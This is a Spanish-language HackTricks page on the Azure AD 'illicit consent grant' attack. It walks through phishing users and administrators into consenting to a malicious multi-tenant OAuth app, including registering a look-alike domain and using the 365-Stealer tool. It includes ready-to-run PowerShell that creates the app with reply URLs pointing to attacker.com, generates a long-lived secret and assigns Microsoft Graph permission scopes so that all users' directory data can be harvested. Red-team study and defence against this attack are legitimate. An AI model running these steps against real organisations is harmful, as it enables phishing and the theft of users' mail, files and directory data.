Az - Illicit Consent Grant

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

Revisa los planes de suscripción!
Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
Comparte trucos de hacking enviando PRs a los repositorios de github de HackTricks y HackTricks Cloud.

Phishing de Aplicaciones OAuth

Azure Applications solicitan permisos para acceder a los datos del usuario (información básica, pero también acceso a documentos, enviar correos...). Si se permite, un usuario normal puede otorgar consentimiento solo para permisos de "Bajo Impacto". En todos los demás casos, se requiere consentimiento de administrador. GA, ApplicationAdministrator, CloudApplication Administrator y un rol personalizado que incluya permiso para otorgar permisos a aplicaciones pueden proporcionar consentimiento a nivel de inquilino.

Solo los permisos que no requieren consentimiento de administrador se clasifican como bajo impacto. Estos son los permisos requeridos para inicio de sesión básico son openid, profile, email, User.Read y offline_access. Si una organización permite el consentimiento del usuario para todas las aplicaciones, un empleado puede otorgar consentimiento a una aplicación para leer lo anterior de su perfil.

Por lo tanto, un atacante podría preparar una App maliciosa y con un phishing, hacer que el usuario acepte la App y robe sus datos.

No autenticado: Desde una cuenta externa crear una aplicación con los permisos User.Read y User.ReadBasic.All por ejemplo, hacer phishing a un usuario, y podrás acceder a la información del directorio.
¡Esto requiere que el usuario phished pueda aceptar aplicaciones OAuth de entornos externos!
Autenticado: Habiendo comprometido un principal con suficientes privilegios, crear una aplicación dentro de la cuenta y hacer phishing a algún usuario privilegiado que pueda aceptar permisos OAuth privilegiados.
En este caso ya puedes acceder a la información del directorio, por lo que el permiso User.ReadBasic.All ya no es interesante.
Probablemente estés interesado en permisos que requieren un administrador para otorgarlos, porque el usuario común no puede otorgar a las aplicaciones OAuth ningún permiso, por eso necesitas hacer phishing solo a esos usuarios (más sobre qué roles/permisos otorgan este privilegio más adelante)

Verificar si los usuarios pueden otorgar consentimiento

El siguiente comando de PowerShell se utiliza para verificar la configuración de consentimiento para los usuarios en Azure Active Directory (Azure AD) con respecto a su capacidad para otorgar consentimiento a aplicaciones:

PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole

Deshabilitar el consentimiento de usuarios: Esta configuración prohíbe a los usuarios otorgar permisos a aplicaciones. No se permite el consentimiento de usuarios a aplicaciones.
Los usuarios pueden consentir aplicaciones de editores verificados o de su organización, pero solo para los permisos que seleccione: Esta configuración permite a todos los usuarios consentir solo aplicaciones publicadas por un editor verificado y aplicaciones registradas en su propio tenant. Agrega una capa de control al permitir el consentimiento solo para permisos específicos.
Los usuarios pueden consentir todas las aplicaciones: Esta configuración es más permisiva y permite a todos los usuarios consentir cualquier permiso para aplicaciones, siempre que esos permisos no requieran consentimiento administrativo.
Política de consentimiento de aplicaciones personalizada: Esta configuración indica que hay una política personalizada en vigor, que puede adaptarse a requisitos organizacionales específicos y puede involucrar una combinación de restricciones basadas en el editor de la aplicación, los permisos que solicita la aplicación y otros factores.

Entendiendo el Ataque de Concesión de Consentimiento Ilícito

En un ataque de concesión de consentimiento ilícito, los atacantes engañan a los usuarios finales para que otorguen permisos a una aplicación maliciosa registrada en Azure. Esto se hace haciendo que la aplicación parezca legítima, llevando a las víctimas a hacer clic sin saberlo en un botón de "Aceptar". Como resultado, Azure AD emite un token al sitio del atacante, permitiéndoles acceder y manipular los datos de la víctima, como leer o enviar correos electrónicos y acceder a archivos, sin necesidad de una cuenta organizacional.

Resumen del Flujo del Ataque

El ataque involucra varios pasos dirigidos a una empresa genérica. Así es como podría desarrollarse:

Registro de Dominio y Alojamiento de Aplicación: El atacante registra un dominio que se asemeja a un sitio confiable, por ejemplo, "safedomainlogin.com". Bajo este dominio, se crea un subdominio (por ejemplo, "companyname.safedomainlogin.com") para alojar una aplicación diseñada para capturar códigos de autorización y solicitar tokens de acceso.
Registro de Aplicación en Azure AD: El atacante luego registra una Aplicación Multi-Tenant en su Tenant de Azure AD, nombrándola como la empresa objetivo para que parezca legítima. Configuran la URL de Redirección de la aplicación para que apunte al subdominio que aloja la aplicación maliciosa.
Configuración de Permisos: El atacante configura la aplicación con varios permisos de API (por ejemplo, Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read). Estos permisos, una vez otorgados por el usuario, permiten al atacante extraer información sensible en nombre del usuario.
Distribución de Enlaces Maliciosos: El atacante crea un enlace que contiene el id del cliente de la aplicación maliciosa y lo comparte con los usuarios objetivo, engañándolos para que otorguen su consentimiento.

Utilización de Herramientas para el Ataque

El ataque puede ser facilitado usando herramientas como 365-Stealer.

Preparación Previa al Ataque:

Si el atacante tiene algún nivel de acceso a un usuario en la organización víctima, podrían verificar si la política de la organización permite al usuario aceptar aplicaciones:

Import-Module .\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "Password!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("generic@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# Check if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, indicating permission to accept apps.

Para ejecutar el ataque, el atacante necesitaría crear una nueva App en su Azure Tenant (en App registrations), configurada con los permisos:

User.ReadBasic.All está dentro de Microsoft Graph en Delegated permissions. (Los permisos de aplicación siempre necesitarán aprobación adicional).

User.ReadBasic.All es el permiso que te permitirá leer información de todos los usuarios en la organización si se concede.
Recuerda que solo GA, ApplicationAdministrator, CloudApplication Administrator y un rol personalizado que incluya permiso para otorgar permisos a aplicaciones pueden proporcionar consentimiento a nivel de tenant. Por lo tanto, deberías hacer phishing a un usuario con uno de esos roles si quieres que apruebe una App que requiere consentimiento de administrador.

También podrías crear una App vía cli con:

# Generate Application
New-AzureADApplication -DisplayName "MyApp"  -ReplyUrls @("https://attacker.com", "https://attacker.com/gettoken") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true

# Generate Secret
New-AzureADApplicationPasswordCredential -ObjectId f76ebd35-xxxx-xxxx-xxxx-xxxxxxxxxxxx -CustomKeyIdentifier "MyAppSecret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

# Generate an application with the permissions
$objectid=New-AzureADApplication -DisplayName "AppName"  -ReplyUrls @("https://example.com/login/authorized") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true | select-object ObjectId
New-AzureADApplicationPasswordCredential -ObjectId $objectid.ObjectId -CustomKeyIdentifier "secret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

$AppObjectID = $objectid.ObjectId # object id in AD
$app = Get-AzureADApplication -ObjectId $AppObjectID
$AADAccess = $app.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"}  # "00000003-0000-0000-c000-000000000000" represents Graph API
if($AADAccess -eq $null) {
$AADAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$AADAccess.ResourceAppId = "00000003-0000-0000-c000-000000000000"

$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)

$app.RequiredResourceAccess.Add($AADAccess)
} else {
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
}

Set-AzureADApplication -ObjectId $AppObjectID -RequiredResourceAccess $app.RequiredResourceAccess
Get-AzureADApplication -ObjectId $objectid.ObjectId | select-object appid

Consulta https://www.alteredsecurity.com/post/introduction-to-365-stealer para aprender cómo configurarlo.

Ten en cuenta que el access token obtenido será para el graph endpoint con los alcances: User.Read y User.ReadBasic.All (los permisos solicitados). No podrás realizar otras acciones (pero esos son suficientes para descargar información sobre todos los usuarios en la organización).